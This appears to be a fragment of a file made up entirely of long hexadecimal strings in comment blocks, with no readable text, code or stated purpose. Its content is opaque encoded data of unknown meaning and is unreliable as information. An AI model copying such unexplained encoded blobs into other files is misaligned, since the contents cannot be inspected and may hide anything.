23d2649c13c073e2407d190e06ec7754811bad496c640620558846b3c5c7512d83cd3ba52a9b436152f22e4117e0f041e5696d4edd9e176c02d97f16c2545c9f3579a9e4c69999a7aee1d9da5530e7c74d8f2137173090227ad6bd174610e6bb0e7aca2017623ef313faa65f9df111cc60f296b6e587f525adde987c7017e2b0359d7952e1f222afe8b6c3b31943fc24ad33a86c9c578d8e3a382bc22fab06128698b9e9d3725eaf719df2e68784abaca233b1d9651f095bad1459d6101b4d642575c7753f67c8b9ef2242f162acbb80d78e26363adc2d11dee04d0d6e12e5936d5de2fd3e0a6142db4632b9bc7cff1e85780a998d3b4bd3269964ca51c95d0de161fa97e5d68d5f3308b3a014f1a7b1299fefd129324eed7855c49964f22a4a0fc7e6b672c74ff5b494595123613db84b357ecf83e765b3287b67740db70051999e8a00e7ca7c61ef563e3457e6711aff66c34ea8e446cb3ea136da8580284d98726e798ccd8e13aea51456c3a7f38cbf4eb3daf9876d466f6043ad0bb6625241b848388af0c15f6162d702fd20e92df1050327c856483508346baaae734bb3b087ca137241cac24c0dca2b96e3dc17cc2edcdc2976da3a2cd242c26a6f7e8e444009779d9ecf5db2228edbc576997a62b15df71641caaca6548b871ab9a39b8d4a851cf4ef5c7eaff9987a14f6e6ba0eeae77e1a08180cce7624f903d1445f8dbb0cd7c7be9edbd94c1fda247277735d3274ad87e2fffa2f94e371a8782129490ca8855d07a12c9aab404048446fa3c69b85cd9b67183058e05315ca7b3766ec5cd6fbde48ca421669a03c13ccbc4cd99c34509ada35016648a7d7b1fe536926e4f0c98f5c585334b0c38a9075ca36e7ca4c0a25d47a26afa1a3e9ce53324d33602060f2271feab18315363725388c8418c0500d5e61024545050b4cb440d0d3601c41a1d08d96635bd810eff206c2f3e7ff25b8279980efe93c680300551f1dd0911ed6c592a1e6f83a09718faf7ca815d5cf666714e9785dabfed0281d8d54ff70e4c26bfdac4065c174dfee1843bc15ea06845a4305d68c33b40191029d89c8ee06b060c5f6dd54d8d941742a69bb846b754227b860f9e7b610046cc7c354af7b767d4254a34cd1eff5e685e2c45380823f51f1e87b115bbf299392fd31451e0e006155f0a91cb0221ec8776cbf5e4fa92bbadde8e754f5f120a46c74084af00a5781b27376b292c6022e1357bcb89284eb8366e1626111acd91a5bcafea58a705c15c2587c958d3177cde2ba23666956c9ef7c11669cef34fe469fe7ed81e51382a216c060784cbb1640a7c19bc0febacb931e09ddf786dd104d9a2f2a90bdd792f2dc6116ea9cfea7053d272a2b80ffd6bb3df611f047996d55d3528104f9afcf272729fb499e5f264eb9d7fb32c7b9d42600c0bdeb2dc447bac9bbaed83898c47060bd5bfcb0a9e2eecd28b239e606b5dd3d3a402f83c6cc3ed708b8e2e862b5d7f5f53620070f937f04de93e227d763949569b902d21a1cd347d946bd6a4af8ab9909356a3b77ff0cca04e6e89ee4c8d6ef9a11f3dd33ede323b7327f88173d6e1be6976f10126b4c2d8f8be1a44f9ba1d7d53bca534da8b7d40a0ce4e686511cd0bc0fdc65fb7a5a30cf3562e6388dc8f0fdb9cd401d587c331208e1ea6e44edbc3c26f172c058b706ee377293e4e1470692fecacbc66f50e8684871a96d865834ba6ddd46acc8b0a547a93f1469817c713529753cb5286fde7b5c364441edb3c019581e5cf5d6e426d9ba0f7b074d84e44e040feb23aaf93884aaf0124aa878f7085a24308a3f2705629b162f71b558796f408a61a28681e285fcd9ae517a815e6dc58f332c27a9f919d1d5a824a4f4045892482dc9f45b8f7f2495df56dff367d35779d5c72f5ca305d1401ffc49b586eeeb467bac6469dcfb6989a4254b886f09d2be3a945ed7a1f098ed1e7343ee1ab514df5014ab54023d834fbe0fcf89a4be7c96cb4b185a58b081509be86a411e9a9c755dfceb8c92d445bd4054d074c195cb3aa046293f3579429c7e31b75fa2513202189d8050eac4f56f72ffa3fbf6546063c27de32847640e0f9d64806a1f0ead787d54c3bd7af8749c2172b4*/
/*9ac128cd85062973a3ac34f8c792063f2e4af969f7e6d29d6a00eb9eb3bead544114f3bc961c0bdcdca56c54e3fcccfdd1feb9023327f1a36a22028e4c7314473bded3b821892dc637751ea6f684781fce7c257c07451fb02441b786ff864518319c33daf2b8330e34f7dc0922b63410e0248b067d9f057f48c10f27e41a37218aa05f3065d7263e8b1f0de42e1d0bf13ece5c6c7f73be5823ab0339918783cb9c613bb29f0e617f56e072d613ad508e21197b92c9869d5e71f38cf96f1e68392a255b0fba4f0e4c5a3fd9b7bce31a93adbd66464e782fd952c932c823b0e5170368641c5038225aa4bd80c236d925e81671d52ba592f15e44f76f2d743fac81b2b9c28fb7d29d5a7a4bf3a7d078056673d55e5217b8c195619ecbf1305582d26334bd0f6994b1847c868515e5161f5a0b9f855062ffa0fdb37a32b401d73d165537596953f075f9bb4fc47a7bb3d5446239cd78ad07f4f0f513fdbdaeac645637f0eba5226a03138f7b982291b6fac9a6f3580882df50c1dcba7a1fe78f578f94a75f336e434f14703b73bd854339c590e51ff31a3ce306bc5c1257739e9bc3f080035db5cf0e164c25414a4bd77cab5c2b42d3692ff317f22161cc4d5a06e92ac3d6b553ff4dcdf584445bd24f984ec6182e0ca17f69cd3ec398fcb0d61bebbdbe18f98ee3f233393e6aa31f4088b3b5e8f7e50737a2c24837f2c0649829c899998b6e7afc39e086118e5340be5caa91d2cdf2fb89ab0327d852247ba8e908fcd5af1a9f8c47df7efce4bd60e9ee937276caefa2b6cc8506ff50c959670096dec8708b8b240d961873469b5ff2a95472dbcf29af5b198bde327f1bc2967095d3d2110f1b277a3ede1bbfbf774e419296433c00cddb51fc64835471e77194580aad336a2889dc49e4639f557510907b36ca50af90405fef8f47e2d2f9d561608ea44b6adb503f410e7c07e876df2e19621b0e2fa4d57be48fb3ae1781719b66d63d4d442079b6a3358a02719ea4463823bb1f38dcf6c900eaeb44b1282d5c9766c4669fe425b545844d173b47e049b22a244c18445c44f1637dd8478da41dec28fcfe46d106d6de7c3b5d3344a30115f6f9b2728652a2e57ce1f11f7f9665d34858fda17317bccc4d6c28da5ff704e918d8b9416687094a5db1d816cacbe2cba0f5f872cc72a13b008cc576f89ac40c5fe7177bf8e07bc69b11eb579f6247f48a9ec2526a94b3067dceff428fb83427bb9142ea9919ae6475ced81b5459fe4dd8aa277e61c79e7546ce7e89da2e14972d66eec43a3d33b413b78ed791efee2941bba6095ce94bd00a98884e9ee052d86c6903b27e7ace467004ba877a8396dfe9e2fe266df9c3fd23944e97783cb2e4185ba0e8b278819f815653962acdffee645cddf86bf0f349ac2988875690db1554561989886bd58de02efcb80b95d7fb974143af583e7b224a3af06ee91981a6201be48f1fe53015c2d7346f4a74cf5141b762b8c84f87003aa546b9dd41b9a65b944c8f9adfe2dd03ae88a514b6347aecbb2525b025dfdea7d28f8584ca21e342963f9c540a325ccb212c24271abc57acf89f6a1c262723e30592501be0bb8c8fb81b9f08e567c7469025158aece152639b031cd3197ee6bfbc71d84691f16f797592df0c0f6b9bbd8bfc01cd81a81bb088accf34307da1ba20a75fba0c15e96fbb1d481d2bbdc3951069f0fcb86a766a589e51e9eb5deb7158347ac5ffbb43ad399bc77c727ca433f5a6ae38a587f36bf33bac69027801a9414746ddc7fb6255e369ea46787c6a31d9792189da036f06ebb115445eb093b072c42efbb0fdb7ec0f34473367fc7ae44d9aac52f0789f1d1703e16ef6f64faecd71078fa81de1b0ca003bbf29f0fb559203bf5b4a7a6f9d8a4cdd789a72b33f26bdcf866ea24b8254495f09db6a03461029d2d53291191e2879b1d621ca9c8245ff80677be107dd414533549b65be282bcb2f4a93dd95be01ae089345407564a266c6b87a63f77f2762a38a82d19fe7a725688597f398fbb82cd04f63cbd40d5541f6082cab0e8990ffb8b9594134bc1c7e5ff0768a97126350255fadeed4c69d7e5941d5f64dddd34f2f13ed6671633b3739eb24361337db8dde19c2029b0704e74b60c0c7e56d6fd8b6dfee024cbbffe2083952b6208dde94a9bb788b470670568ebc1af9873f0d72300ea117a6e5c343743a71afea8c4ce6d09ea46b58a46fedbbd67f1cc6d16de9ee902a5e73a1ee47ae8762912655adf16918e494556656f1cf8526dbfbb4d5472ad22345276dd4777e3aefb5bb8fee9494e0a3c391234d156b42b4502bf65beac10f16d64f4ffc07d115e97db7cedf749c63ccf05a1d1be809f58149ae68fa7e21e3e0df7e31d5c8048ded7e38a31ac836b3e6b342ba0755fd7bb9a407a3021be2c5c5b04fe858bb88965d6cf3d978d168fc65eb5bbbf6801f09ade94a8eb50bbd67f69743f0465512139c081d6de5ef4e9bae4c2da6c4322df319f6d7a442cad21bd774fd755205b383753dc88e491a9f71b860430e8719ab19653d2c67a00d47bfdc3ac73d3f2ab114f54cce9ae742916d8a9b70964016e78f0f2d5eae2b7504c6ac65917358d7b080bd5b2f1b3d07f927237ecd4326e988ed7d07f7ffcd700aede8d8d9aa4b75ac0ef38eefdf2104e431899d07264850bc31f00c81b8ab5e3b88542c112edf386e1aea0625e6f3e013ec266f6ec1347897df7e14e6df6d1de7ae448377f32d5ee91b2e68bcca3161faaa008f7ab43c337889696db0e2370e3d241db8ff56c88c4dbf2e0ae09958f7d1d7d8f3a64c884e68bf287813*/
/*c65aaa18bd4cd6b788fbd7450dd233f967ea26a2d60c53f2a4359890d8e0b09ffe1293abd70760d749f0e8ff0dc57348a660961ee3cfef0f16b711248a444246992b59578c3e8b20fa2735b26a20fd08557f2c444923acc517033a4e8a9604e31a1b0a0526be5c897b25cb8d8a050ee5e52175c43bad1d59c4a441fac89d35bb0453de0b15f5ebe35f2c61d1fda0392b9f8b5ba18b6538e4564a0cb9ed0c2853fb44fd2b711a6cd691d53d61d5917b1e3d75cbe2782b5746d07ffb5f5044f61b9acfad9fe2e594720404caed336abb2e219b02153717be072117c31b18df8db07352511645dd73de145590c8b38c583998143eed015b396f6583d5284e5a3015f5200e1e03d7b9d339a17cc37c232f201d7dde4928c58846c870887c454395b1042de37ad5030991ab309a9a102438a7f8ea2e1ea54a560cea5b0a84d75bedc3ec8160ff2ebb4512c3c0bb2f96fa1c0ca54c0d41be59cd55682f88c5f5e5933b51286f1f4899f0ffd5547fbf21767fb0c5a99afe09893e4f571755f8cf4b26d8ecbdbcac69c94949d1a640a89c95b730db04a6d84f82b0bc4a98d0ff07b6c48f7233439cdf30c4ab0dccb7814ea3e42db3cad4ce5229a8f58f9694f2e7f94ff27756db5589e6298258a6be9a811e8173d4a76836041c3bdba4f04fada40ea78384fa075170e36c77cb4984a27703ab4880f9eeefa2a9fc31089c33bc01156aea8577754489315fffb9638e8fb1bef7132aa8b7fbc51142eae34fc172564f721b25384944a4741203a23e2a2afa023b4515e2f138e69e6a3a7a4ffae3f9708249272bb0241d57278d82be06e93a85d31386ab62aea363f31cf1527def55b0b26bd9c4150282938b0740fd58f8109c601cfcf2ec39a8fd0c1df29251bd7d7cc188e39a998ff1f7562af3dae03a4c091c183e93ea05d1c0181cb3006966dcac6a93ea43f5698ce169e92543bb964f6284b06cb2ac795d30dbde03a9c71c6f81aea53659ce81c4b7128607edf3c3e07d2f5eb7905399d9b927a8f0caf636d642004fe64dbdb5e08df4b5108094cdfad998cb47e3311feebc22da3acae73adadf8b4e92c9d9a524810efea68d8e3c797ccdbd3f0df5e17379f56220adb7b146a5c47b26f1fbdd66ffb979c83f646f859b25869e9c3bd6d6495cb64db27aee2c9b74ab7acd4ef35f5abb05e3ce7d03122a981ae88cad01daa19f2a60b8d9499f102df097c60e687292d067a1c58f227ac326abb6276530d87c9857814644dcc59f0d5b4fdbce770a067ab5c22caa36c21461a3611273d5d69bb6e3478964be31ea23906be22c5c1aa115c7ba3f15b01a0f83e49a88ed264ae05e6098beb855fd3794b82e0e180ff6d71e0c67ef5591ff8c5383b9c59246d62617d14a31dfcf12913461080f001fc5e524aceddfccf2ca97442e10230b041881e8a0d1799c7e221a8a069894f7e7677a9a9f00e1da63330dab389edd45f6e509cd7f0b085e7cf9b90f99924f8cb9cc53dce9a861c868961d91c01f867b2edd3aa58b1c26452bb8b092fe0b67a12dc49088ef641af467f9f0a4b3b20bd0f8ae5b6fd48102a797d53ec87b4cc6b42ae50628fdc4783ede8848ea271d35db319f5cbfb1868c85b96730201711a24a8870da9cc96f35310f9888af71e1816536d443d8aceead2eb9ec741b69b2ea2d825530d53271723006639b3c9c25402c92a2081a8dbf1f425ee04d9837096cd3ef95434d0f596213f7fa8e462fac61e09f8c356d19dd88519401a7d7091624630e22cc2386d97fa7079e61b5ae91617a764201a7c7aa85f846bfce91f6815f61d311bddfe19b2ed3e292325a689652f3ee9f0832d216ec37ac63e808a10c1a109c3b4898945c6329fcd66ca2635eb1e648316d87c855401e943e4091ad05f4bb065c309c9581209c8036f376516842ab6eae350e64a56e695dd3f4ac834865d85325744e6bcbc30d4486bea4f7df97f3be5d514cf6db05ff08166320d7cef12843c452f5766c544a471bfdc8efb0d4dd081263f9cee3669b8f1f92d7cf93593ac722916372f0cdb30131b091c8928ca4b3b2ac0281916a998f1d156f3bfc6f70635875d60c75995e4d41ac34b9d70182b579413fc071e589911112da22bfea589179ccc269387f81f293c60cea22134dcab6a953ceef283579c4913d97a57c58fab8cf4db42c8a69785e654752a921f89c890ccba4c040dedef4d67779380d89259352d8979b4185e5a721cf8e6e022c59a51344e88e482543508050bc18e6a2ad4cf4f85ee526662353b96f03a129c8ddfa30ec8f8a477e08018fb153df2438220c71674d40ba306d1933865c9761b6889f6e37267d18affbeef2a1df6cd93bddc098a5f12796592d80c84a6419ee8e7a6d5dddc3baf07061ee826c40a2b89a5ecf6ae077dae11a26533af157720930eeebee6a94ae6fb0ec755fd0575bbefa32a99e77367180a6a53b5deebf213e4ffd14418a634975d6fa9f708fdf4ea6192f42cba58ff33222ea24460eb930c85da493e0a18c298b6ff3e6dce44a81b580fb0475a26e7f106beb4ad97e4a588494871d725ac772d817453b100b9b09651fdff6bd9a07a44bd5c0cee89b0009d1c1b7ae6ea33eefc8e9f841bb96d5ab01d92fdd67c426af1a4e5da1b938a437ec6ac718509c07c657ec85c0ab7c6c4fe2b95935d297bed78f58be2253c5ba9e8878b089486d651a22fc7b01c59efe3ee9edbe3d618a8fbe12282f81031e9e0d2707b5e53ad5b3cc8178f02d4980703ed74bf1bdaaa964c85fdfd7a3a6ad5d9725dffec9e466f440493c799ba157a9fef4bf12f970527f72074e9842648a47*/
/*8049f528ad5329cc79d135e0e54e557426e75ed8f088624d771d4a67cf9efaff9ce160dccb6a706fc4c6b4e907ca03e1d005e2d2256177c333ee1aef40349c2bf38fd24cf57b5acce644722af78a35c54fa6aae127b840700ccb6a974424cb7427d29123fa44507f0a193e05bc671126e434527c56672882e947a389e51d717db4cd26af05f6387cdee2231df5f61dd5a60e1c271bb600106da0236d1baf2b01a215f181e59ac6791d376aee2e5f96ea99613320ed3c16119e6f175b0f37b5bd7a014b7c4852ed909f4281030ed9b5ab19734ce7158ea8a8dbaa233bdfd059e03668b5e1c5e171509f583d1111a1aa77a7b596b28cee9041cea984313e91133b658ccd16e20678c8a9aca0c421e982555c0d90998e65d138f2ace82bbe14e4eb0609fb8b9a76e3c96905b2dbab814c7025628060f315bca5681112bd6562f7c0d3a9388a05990f318b00b01cd27c572d7681eb8efdeba9020326f0a0fec27ada6848e0d4b573fcb2b4eeb51646888b98ebf19272810e8fffd8f63cc34a1869d6cb9d1f06cf8c99b68904942baf395211b53fc672811557f418bb8a0787035c63ea5ab55d79b66a2eb2fc7d215b39c9cc234cf98439b7d8c9bc843053781c0a7c728de2156041b56a8bf0459faf97c0a73a7980ee8407c3ec619b24d1ebc72ee3cfff169007f79f36ca12d0bccd3312a24ddfc0d750ff503db3ee3106ca9fa415e0df9163460984bde1baa7d6464fcd460254c32f418cc950337c82a83f186e56b43c931d4bc293eb318fc9f035812e6fed31904c0c4e90876db3b9d6785826139252c6902261b12d35de749660a2d5a083168ec3ade82323c670d38218397ba9c0f99443f2b68a1170cfd1dde77219c052a3cb2fa3920f6747c9add5344d61e2017323d043009d4d009a1d8244c00dfe30adcddebcc66e38e1eb196abd4caceb75b2394c98948293ed0664519d587c59b1702509ed32d24d851c4a196aaf29a101b824925dc67d7e23a6f375f267dfd23250742606f56488fd643ef62ce188ccd701b36e3b4535b021e08b859fcef6abce6e90434abed1081c86110e6b533f342452127a8a6e4462acfe3c0421b8a890724cff778559cdff5c88a5eb91c02eb973110313a5d2d162ea5298bdbcbbb8ff44bdd169005edf1cc7a2ee3bfed62cd2cce3dbf48a542f91491e58e8bf18b8274b7dfe90bb9198a2b1ae0fc74d17cce0f8b9cbae2231295760d1cb26b3e815f3972596bcac8fdddad514a372658f7a5cd666ba2b43e21210881008b818b2cb0adafce9668bda52e549e95f5c63b69a97d8129b3d6c3fdfd0c4d8a2f3eafb15da4df56374880d4ba242ba97155db1b7e23585fd55099f934403b66099e2e27c8ba8334c94fd211bfd3392bd6a542dda4b310b6bcd04fb1aa5b72b897e42cfc0a6aa7b86bf0ca8cce8428f6a760f330048594ae1758a0519cff7c54161c1bcf1b6a11fa2becc83f42569f9963a16bc19503637e4a53b59df64a684876a03a3cd9a99f44d31212e1b9e3859a2f05fd17c4e6ad60d5eaed14f59b1a2edbc7cc6f0f0629fc5ca4242f7a68fb769a87800cbb73f06d322087370800c70594ffd0a5a57b71a31b362e7df9477d94110f2a036b8d2a22e275c72d39070d19dd5c776f3130ddae07c40ace0640e5a6d6caee8048723bb5426a63b11f685a76d3da84f6654282bb5defc1faa18e61315f037a9146032f98ef58d12cd85140587565e3dcfba0bd461076bf364830c40d2bc615df2130e2850a108e7f192c940c746344a4b6ad14cdf80b41ba72a0cf8f9984eb625b7673281b04b26389587827357b73afeb88dc37a2929935e24ba0506852df1c3be6ae7c1c9e2eb7ee51153a763591d1112fb26b7246fd28babc12e76a336cbbd1ec46808dd30f26fdab6beb4a5f0a90be2ad8be9489b0ee79fda623da1755dd117a424dc57190194c6777e15452de70d4142d0a1fb51c28a5b3b6e4ef0fb6cf54705edac4521f40835c32410c7a9109b58895be0f4e73a7cbbca4cf176f8cca735215a25c4a389742a06c334f6084a5e2614418cf3b953949971cccd2c4bcf67a9a85518bafd1d4751f0aed45ab27ac482b43e3000d1d14f9a872de1b1f2fbc5f51dd1fb0da4c06802ab1d8ba75729d7af2b07ef654a1d78f480cbf4aadf408205e77b087b180afcae7a38b4a701aed0f046016a7201c8cfee313aa6e004e11e978a749c43f4c0cc6a8b331c2506a01d46a138e4376441281ff0fd366d22ba08a177556764790c2c8a2dc4bd16fff0531b911b95a02cea81225a93e27264109e5d08357b15e9efaa3b1df0776d3e18e0e6746a1f6028cc5d11c0a5a582493103e2e391e36fca55261029fec8d580ec9953ff143d35e2996fed218808be2c1b2b2a2f5ea342e041b2ad4add439ab29bf84eea46303b7eb5dab6becfb63e14fabe7e9b3f1a8016eb96e70abd5ea09000ea6190ce996586ac177d77e1a4dde3999f09c8a474c18a9bd1c56e5a0a4aec81b3b1317cad45e3627f59d25dea97d621099ae3a15c7fb5248f7b8237806ead91d699bf2a471c9384de85fc6b755f9a67ba105bd0a1e9702b6cca0c2a0206b0f97ebfc4374f0d8bbbc4a58c92a06ed791caf81d33b040fb56bf01959d1962a261e1783f09d52782363bd7b8d9d4fd6fe9bf0096c21102deee57ebc3ce9434ee1d4d05c313ee8271e82ba9153c30e70a075d44191f07a8fe7830e1906915ed981a26a6b88630f330a9dc57bf9d505e886eeeb1527312031d6062633daa066f1a6d8a1b68e7b6fe30261cced4c23b95046dd010678471b59c60b45739a50d81bbc74e87*/
/*1eb15a3d738f29d7e034534aeebdbdb4d8b41e450a72417c58e6a6241c2ba488601a9e0b794ff7f38c9decbc1faa76164c19362b20ce6f4d4f86f9c7b8d4086e1fea4e13472eca6dbdc8892fa348c9671042ad05481e2304ba80e2429dc292c4fd3676861cc31f546b8b0ca28e34972f34b5c7525de067a7aaf31602fc670fb5ebcb94f1b4bf7f12dbd5ddad255771a825d8fc3ef4b6255e42405a735430bb8ba1177229f9755c0d422a14660be99bffc0b60ac0098270d23cfa424d4396082eb47164703c40bea900b83adb5ab07514fc334adf0b1e15018633a49cfe3cabbde3801ec56fb4cea9036936f886ce87a1af15fdf4977d236ade3a1a0f6614aef6a7e13b053946225debd7315635d1009158ded974b9fc5ba138d73daae35ca655409ab459e1f47e6518a00babc2add7da940b340b29acf4c40b5e3d894a0f7b6e562e911bb628a2b7f089658e9b93f0cffb0a8a75d29e5d7eed7ca72fdaff12240b15586e143521ff9e1d9cf071080856740f222d0155d777708d541aee678cad023e89bf1f92d8c99015f8a865ff4623c12e196ad5bc683bd4487aee29f59795bd309a512396aedbd76e86522b9fa31355eb99885ca9ce91a33a81c273928f8a55b5a0c00328a4817ef974ccdb777324309112511afeffe56c6770b9fc854368d514d42169a3c223f35d8e722793bcce4fdc858e7cef61f63c8d2c8a42f6f9cb74a95a10ba55317b3e5336c9e7eb8f2d334e44017bcc8bc9f598b6b69ed8915a6af46d1e6c6daf253aeaad508c9966b6a72b84e0a036f8905bc64bcc68b72f3fadd5f7b68fef8a4298e712029a84c68c05885f6ee1a300e4cc5e050faf82b2994d0114469c0788b01678538c40f3a4d26b94b50a557daa20b06e7a6385fb6ce2396a2eddda0daa6475bf172b36d126e1ec23a31368439f7976839518b485920610efecf99d5d48ee3349db803acd06f63c9dbb76c1bd2b9b3ddd1f9614f5872db6a46377b2273bc25eeb5265ff840c94ed14db544a3b1761d6a2294f68c710bf52fc66b9498c3d723e42dc185691a9039d9f5c89f1f18fbc32e5a2ec9a4c9d2bd8696072123b364a711181f623a3a4ac2c2d2ca918fe974aa7e638ac2bf09075587b7147f83a50dda1ea99d214f197c05dd46608ac1867cf8ec24f7dfef8cd07678a2d4f3d5f569d707fb3fcdf3c6726989f898c09d816c0cf83d914124ac07a60a8f1a1b32168c50f751cda9482fc55e2ae78f428ea16abc8ec1d22d7b2ae058f0ad11e88ff90b2476e14c1dc792d3cfdb4f80660489ad7c79bb29e6b465f098ae48e47abbde5c07e6aa055338a6b0dcd44c0e0a9241ee69d02ddb80efa368d5d9c1c6be16aafce584c76f42066a11c4794f129618e4c220af2c1ac36e6a57fec1ed26d404d6dbbc2af4c965105375e3803392b65013f512da91be2f6b03b7a9ce1a961a976805cbb05b1a11cc1659b7ec5d553f1806161c082851bb95ec74331628ebcb969ffd458993e0294625a4a1b02b72c96c944755e217a11d60f3c20776c27a831412c82aeb836b8232803334ebca3e60b54bf7e4e7ec552b800460988f145e049df81381471f8194c51819e5b916c8007edf8ec5523139e19baab86afd8d460b1be8ad36a52f05e875c490ae5ace9cb7eb3c1eacf14bda026df1f50c6a197fce3a21aea7d4a2b9a92b16207c07322483690f2b4653564c5d6677968a7a7f75580b41462413fd91bb6046c2ad3e062f044448dbaab21c1ed047b933d553cc578795a32fd1fcd517cd3f9a1bf5c27581ef35a455337b5ac5491927e10d9d0811bd4ae26d69a156c7eafd65aba0523bf359a96fe23aae3a56bd141ec076fe995c12cd4083dda4761cab8397b00648add125d949e57352b429254a677ce966d5f776054f3b2249ba378f2382fdfcfbda94df31e234108f969ea13a435293d12e3af8228dacde812697d5b300b39d69944937b83944d154769e5682ba1a33f5e587aa6b23a14ccd0ac0247a1932f8eafa1ac9004022be68caef5c2d9961d9af2ecea812ccad974f09821396c90de8ebcb5d2c3bf56fa5b09257d76398cea42ed6540bd152a8b42449e7ba86a07745bb6a603b31ad26cf3d00c082c0d11058c248b6f5bad0f456fdbd1d0fd0b15cd0c4ef735937ae141d65d27d41c24d3e0b9977cebe2aca1fd97305da083a0eb004b8ea7bc64f5150ef9dbc9e1fdb22226b1fed2151aa8c8eae42c37c6e3b1c2051de4227ed27b21224c780792f89d2650d2c9d733f16e8b30e13ded32f4df8ca94dfd9dc7e57b59e22bc95c0f70450c2b250ace1bd9376162bac04155e74ac158b136e8175b860496138e84634f3d2fb91f50b0a44965e25b4f05d50e5cd72436696134977d42f4ccf92ea272cdae1c117b37d56d8d2cccbd31a0daa243f0ab15f8247efa50296d49c625bb103050d1f4965ed41decd13c247a467629ea8e32f9ed02108f0c4220739f6b527770d2bd31ddc6d38d72b52fd8bf1acae3af49dd58d7ce9580a85639b19dd0384207ff55a4c28878f9b41f8ce1477ad106f05c492220a4e6b39186aabf419cf44d794057065c67471c5f9f8e921f141639f4d2b6ca3926f054ff372663f846faa97508b5f1d7beb2c103e97e7d15309739952e094b19a6ae3f08fd4239f7a09826526ea37214e2428db8b5e65d02e8ad4ffde287d1c1817f22d67e0b5616dd134cace23d3ec624ae2508e33389198edbc7cccc19f81fe92d6800f5c1cae259e63c44ebf3f6c6b756db8befc0236dd582921e3a84daf3b2c8d26a8f3922235770b88d30bc58bde99a1ac87487ea1b2c5be0f0983069*/
/*8fbbd3eba429ea0718da85842f9916c50b0d4cf0f8cba56875f2c0212ee428e8b639b2361502273fe9df79c54e0aba606070f88015294be170ec607b10a5a078391c755cb847cdb322fa6a2670c7fe739427cb7b708b0af7a36e228da1b60bbe8b291f955f3ce2ac004d1c0ac633d5193d5f389992e4c8e023c40f0b8a6cc8e69b2c1754bf485ee2d917f0d5311b3263eec37a73362c7a08b2fca42987ddea1145cce3655e4680c33ccd083329ba1638bad4d27b4a7757788b7ca4f7c6b8785057334b418b77779f6c2f24564642b04fc9af53382f4b0886dbb246734f4635a4ae67d7ee0957ce4d54e6a1458acd3775f0861a33a732a33dd909a91195ede5bc62fa8b766127cd477ffd22302d011c48fcd44439c9fa43843a01d516ea8691db2f1506140032206aac82048c59a293d2b8e4091e422e4529669664d1087165beceede3f7bb71429d70af955c4add77bc513f41472f9d932c37aad796e79f368ab1fad0e982f1cdbcd3351c164aa61a6887020f79ef4a8af92dbeb65f9f3004868ca7d072b22838a6a6f8f79fc7d03f902020bdad985303d45d80d8d15602d7b5c344f2b39f157bd91ccdd0a13cfd62b55c55041e4e0a3e7015c5e871c708c1c7837f8d56cdd937921eeef2219318a1519250cf620bf3e0f1162dfd1f05fd0569bb5c779dff16a8e52510fdb0a69a000659b988ed6b46f8f1d4b321ad2c17481aabfdabe21f26801358e2051ab4269a50cfc92f879c78be7fc254601c748770326a5dec9b8d47f5bdfb884c1e59cd6c7cef8ce60f120dc73ddb2cc566a2fa4515cd1a32b55df1c4ae2f42b101764e0306458425d0402d154455ce10a8620ad6e4025c30a4a305b32b3d41042ead2cadede8e2b4824e1b05995347303753b953f340a5c1072c24942bc6b23fcb63f0b777167d822a047d731dc03e89b577a82c1bea14b83b4b38e4d674411251ca29d821c24687c938ec53b7fb5602bc4c0c8dbb0232fdff6793146c67f12cb614888f89ecae43a0aacf78f5ac6f92e7c5c7b15d1f57a1568c62ea92f3622b439dec6f99523d1bc2a0d6d7f743991afa07f88b3dd6886f2e1c6c180d3b22f86a0383a9bc36656225f2da0687df9d01a93e2788d3424f8db1bafb44c9dd451f528f3ea2b91395178d86b9393896cb3bea5c7190937a17331df36905cfc312fa5cce6576d90754039b222232817d7970f62ce70327206ec61e0a154050e07f67094dad83e296503318fab90475bb26995708e11f8098b2c7dbdecc80b7753d46b5da08f7b4e045df3f69a986aa3d80530f1bf222fde648272c017be7196cdb746e1a0e96583e6f138eb579274a0f33be7e266831fcceaf23df102f449a5a7da6e602bb35bccff86c8ffb550cadcb5198f1d59042c3a3cab1d1d630c142a485f8575c94e2acc6921085c2b1569d631ea96dc9f3208383859eb890b596a3d136268a6a63d5c49faddafa20ed35bf18c64db989bba4e778015ab232a220118f17282385eddf1452409b49205fc6dd594d045e5dcbb05c442a5a89f679cd9515a872946c917353975a9ef586d64498c593a9c5e034df45afd83dbe8b8a4acdfeac1c436dc46f0eff9a1a936b0cdc55c822379b90735a14ac01f04240cfc61f93eb74dcd58f4ab77c7900ff2dbd4afbcdde15bd73f438a4b2353d1d5cd78cf01ab2dccf98c5e543f9998b90052260f1088c3c1c86f446a950ca64c7c8d5fe15682a6ee66950aec42e8af95335dd5abfdd74acc2dacd6ed53b640b44b5cc03bcd72a6031fb6af81819ca506ff653fc877e898e6439334eb824ec52b775d58b8d0dd03ba5c39479ee1127cd0c183964aa4fcb3608ace8507a4533737382aeddb1867e3d2442a3e7f2d83802e324834cf1a1959fa30e3f9496995193cb51cfc47114c276e870f303caaf587ee31187597d47d69014fa6da0bc1be1b28e1648d661aedd91947183f51dceed0533ae9fea244451c8cbbc7c27e2fe61d05ecef53c55597dc3274da56d4b1f961352bb12f6bb9a1217a5c6f688257f8f10ab46d8a1e59b8b497b73f351420b1db623950953c2a8b9b68b6f2d8005672328efe0744f24c7ab1323d74cc91ab328c77112dc18323c4cff0b012883ffe96c497d5a9dc4d813db51ec15c474a96ce99690a1f9bc737acca711d75971377f2ee79fc438111abbbd37a7beea3bcd079b3fc10c43b79bb4b69db4098b09327170ef28afcac6c7d3ee4b82a8b221e309b404fcb56cc1f8e6b3259c4fc5fca4998d62b21c91f8d1ff2a75e09286d7cd7d4837801aa92470a6dabfac7d42918800c24617f8bc920c32f1d5d2f17e4d3a58eeeb3f23daa7d4db02d1ac4902c3b73fd68fa38f55b824c004f7683a21a82955645568436aeb4484584c361f91037e652a781edf9b1759ef96c8c59047b8ea0380bd879f189c80e234f0c6d3676777f07979f2edd00d8ae89d0b0dcb99640a422d7ed670c977e7d962bae59caf109fbef984685a740de551d993c3b4f8a06d0775cc3bb73ed90c87542495086d5a9736bd02e2fa49eca27fe677a9ca8081116ba0664af5c77e73b48cbcd58816b8374f1876f3635f7cbc6e864e73431b37b2e368938e9e15ff33b1165168618f3cdc063d24c2d5f7f967017bb1ee9a6c1628f6a988ea20e447ca5e0819c547a1f0792f42c8b399a405d246370d694b8c6a781579357da2afcaea7fc4f6b01ba652bba84f642dade0211cba9c68f83c1a9fc4ea311df9042aa74681c100c5bf960d4c5c67292cab72d28174ca63388d6bc2d28ac314e044e4523b9808b788a47f018b1f51f591d631485ee5e9dd513b81fdfc*/
